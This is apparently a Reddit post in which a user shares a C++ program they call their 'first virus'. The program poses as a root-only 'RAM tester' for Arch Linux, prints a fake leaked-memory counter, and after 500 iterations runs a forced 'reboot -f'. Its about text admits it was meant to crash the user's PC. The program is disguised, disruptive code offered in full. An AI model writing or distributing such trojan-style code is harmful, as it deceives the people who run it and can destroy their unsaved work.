made my first virus

idk its very simple and made for arch and its bassicaly "ram tester" that made only for root user cuz otherwise it will be innacurate and it will just restart ur pc lol (i dont think you can even consider this a virus lol) #include <iostream> #include <unistd.h> #include <cstdlib> #include <new> using namespace std; string KEY; string KEY2; int mem; int count; int main() { if(getuid() != 0) { cout << "RAm TEster needs root or i will show incorrect data"; return 0; } label1: { cout << "@@ @@@ # # #\n"; cout << "@ @ @ @ #####\n"; cout << "@@ @@@ # # #\n"; cout << "@ @ @ @ # # #\n"; cout << " \n"; cout << "@@@ @@@ ### ### ### ## \n"; cout << " @ @@@ # # ### # #\n"; cout << " @ @ ## # # ## \n"; cout << " @ @@@ ### # ### # #\n"; cout << "[1]-test\n"; cout << "[2]-about\n"; cout << "[3]-exit\n"; cin >> KEY; while(true) { if(KEY == "1") { count = count + 1; cout << count << "leaked"; mem = mem + 99999; cout << mem << "of mem.\n"; if(count == 500) { system("reboot -f"); } } if(KEY == "2") { cout << "about\n\n"; cout << "originally supposed to be a virus that crashed your pc\n"; cout << "but now its just a memory tester\n"; cout << "created by voptik123\n\n\n"; cout << "[1]-back\n[2]-exit\n"; cin >> KEY2; if(KEY2 == "1") { goto label1; } if(KEY2 == "2") { return 0; } } if(KEY == "3") { return 0; } } return 0; } } submitted by /u/Ok-Affect-691 [link] [comments]
